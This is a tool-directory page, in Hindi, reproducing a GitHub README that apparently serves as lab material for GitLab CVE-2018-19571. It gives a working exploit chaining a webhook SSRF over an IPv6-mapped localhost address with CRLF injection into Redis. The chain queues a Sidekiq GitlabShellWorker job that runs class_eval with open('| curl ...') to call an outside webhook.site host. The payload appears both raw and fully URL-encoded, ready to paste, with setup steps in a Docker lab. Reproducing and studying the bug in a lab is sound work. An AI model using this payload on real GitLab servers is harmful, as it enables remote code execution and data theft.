Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
gitlab-ssrf — CVE-2018-19571 का प्रदर्शन: GitLab SSRF CVE | Kitploit
उपकरण/GitHubGitHub/cs4239-u6/gitlab-ssrf
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणकमांड एंड कंट्रोललर्निंग और शिक्षालैब और अभ्यास
GitHubcs4239-u6/gitlab-ssrf

gitlab-ssrf

CVE-2018-19571 का प्रदर्शन: GitLab SSRF CVE

रिपॉजिटरी देखें
14 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

GitLab SSRF

यह रिपॉजिटरी CVE-2018-19571 का पुनरुत्पादन है, और यह बताता है कि कैसे CRLF इंजेक्शन एक्सप्लॉइट के साथ मिलकर यह रिमोट कोड एक्जीक्यूशन (RCE) की ओर ले जा सकता है।

CVE विवरण

CVE-2018-19571

GitLab CE/EE, संस्करण 8.18 से 11.x तक 11.3.11 से पहले, 11.4 से 11.4.8 से पहले, और 11.5 से 11.5.1 से पहले, वेबहुक में SSRF भेद्यता के प्रति संवेदनशील हैं।

सेटअप

इस पुनरुत्पादन के लिए, हम एक संवेदनशील GitLab इमेज का उपयोग करेंगे, और इसे Docker Compose का उपयोग करके चलाएंगे।

root@kitploit:~
git clone https://github.com/CS4239-U6/gitlab-ssrf.git
cd gitlab-ssrf
docker-compose up

लक्ष्य एक वेबहुक URL प्रदान करना है, जो संसाधित होने पर, Redis को एक पेलोड भेजेगा।

यह पेलोड, जो कतारबद्ध किया जाएगा, एक Sidekiq Job शामिल करेगा, जो निष्पादित होने पर मनमाना शेल कोड चलाएगा। हमारे मामले में, यह फ़्लैग मान को हमारे पास कॉपी कर लेगा।

चरण

हम पहले चरणों के माध्यम से चलेंगे, और फिर समझाएंगे कि इनमें से प्रत्येक चरण क्या करता है।

  1. एक खाता बनाएं, या रूट खाते का उपयोग करके लॉगिन करें।

    रूट पासवर्ड password होना चाहिए, जैसा कि फ़ाइल initial_root_password में निर्दिष्ट है, लेकिन कभी-कभी यह ठीक से लोड नहीं होता।

    ऐसे मामलों में, आपको सीधे रूट खाते का पासवर्ड संशोधित करना होगा।

    root@kitploit:~
    docker exec -it gitlab-ssrf_web_1 /bin/bash
    # शेल के अंदर
    gitlab-rails console
    # कंसोल के अंदर
    user = User.find_by_username 'root'
    user.password = 'password'
    user.password_confirmation = 'password'
    user.save!
    

    फिर, http://localhost:5080 पर जाएं और लॉगिन करें।

    Login Page

  2. प्रोजेक्ट बनाने वाले पेज पर जाएं।

    इसके बाद, http://localhost:5080/projects/new पर जाएं और Import project टैब पर क्लिक करें। आपको देखना चाहिए कि एक विकल्प है: Repo by URL। हम अपने SSRF हमले को करने के लिए इसका उपयोग करने जा रहे हैं।

    Project Page

  3. फ़्लैग प्राप्त करने के लिए एक वेबहुक बनाएं।

    https://webhook.site/ पर एक वेबहुक URL बनाएं।

    निम्नलिखित पेलोड में वेबहुक URL बदलें:

    root@kitploit:~
    git://[0:0:0:0:0:ffff:127.0.0.1]:6379/
     multi
     sadd resque:gitlab:queues system_hook_push
     lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'| curl https://webhook.site/807b6a27-314e-4947-b5f1-c384d8dc574f -k\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
     exec
     exec
    /ssrf.git
    

    फिर अंत में, हम उपरोक्त को URL Encoder का उपयोग करके एन्कोड करते हैं। ध्यान दें कि हम केवल पेलोड (जिसमें शुरुआत में रिक्त स्थान और लाइन ब्रेक शामिल हैं) को एन्कोड करेंगे, पहली और अंतिम पंक्ति को नहीं। आपको CRLF का भी उपयोग करना होगा। अंत में, निम्नलिखित वर्णों, यदि कोई हों, को उनके संबंधित एन्कोडिंग से बदलें:

    • _: %5F
    • .: %2E
    • -: %2D
    root@kitploit:~

डिबगिंग

यदि उपरोक्त आपके लिए विफल हो रहा है, तो आपको आंतरिक सेवाओं के लिए आउटबाउंड अनुरोधों को सक्षम करने की आवश्यकता हो सकती है।

Requests

आप रूट के रूप में लॉग इन करने के बाद http://localhost:5080/admin/application_settings/network पर ऐसा कर सकते हैं।

यह कैसे काम करता है?

हम इस हमले के लिए दो भेद्यताओं का शोषण कर रहे हैं। पहली भेद्यता SSRF है, जहां आंतरिक सेवाओं तक IPv6 के माध्यम से पहुंचा जा सकता है। आप GitLab समस्या पर अधिक जानकारी यहाँ देख सकते हैं: https://gitlab.com/gitlab-org/gitlab-foss/-/issues/53242।

दूसरी भेद्यता यह है कि वेबहुक के लिए URL में लाइन ब्रेक की अनुमति थी।

ये दोनों मिलकर हमें वास्तव में आंतरिक सेवा को एक पेलोड पास करने की अनुमति देते हैं। इस मामले में, हम स्थानीय Redis सेवा को लक्षित कर रहे हैं।

हम जो पेलोड पास करते हैं, वह Redis कतार में एक नया जॉब कतारबद्ध करता है, और यह जॉब वास्तव में Sidekiq द्वारा प्रोसेस किया जाता है, जो Ruby on Rails के साथ काम करने वाला एक एसिंक्रोनस जॉब रनर है। हम विशेष रूप से GitlabShellWorker जॉब क्लास को लक्षित कर रहे हैं, जो हमें मनमाना कोड निष्पादित करने की अनुमति देता है।

root@kitploit:~
class GitlabShellWorker
  include ApplicationWorker
  include Gitlab::ShellAdapter

  def perform(action, *arg)
    gitlab_shell.__send__(action, *arg) # rubocop:disable GitlabSecurity/PublicSend
  end
end

इस प्रकार, open('| curl <URL HERE>').read को पास करके और इसे class_eval के साथ चलाकर, हम रिमोट कोड निष्पादन को ट्रिगर कर सकते हैं।

टूल डाउनलोड करें
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7C%20curl%20https%3A%2F%2Fwebhook%2Esite%2F807b6a27%2D314e%2D4947%2Db5f1%2Dc384d8dc574f%20%2Dk%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf.git

(या आप बस इस ऊपर दिए गए पेलोड का उपयोग कर सकते हैं, और आउटपुट देखने के लिए https://webhook.site/#!/807b6a27-314e-4947-b5f1-c384d8dc574f/ देखें)।

Loading

आपको देखना चाहिए कि वेबहुक पर एक GET अनुरोध किया गया था (और यह दोहराया जाएगा क्योंकि GitLab बार-बार रिपॉजिटरी लाने का प्रयास करता है)।

Webhook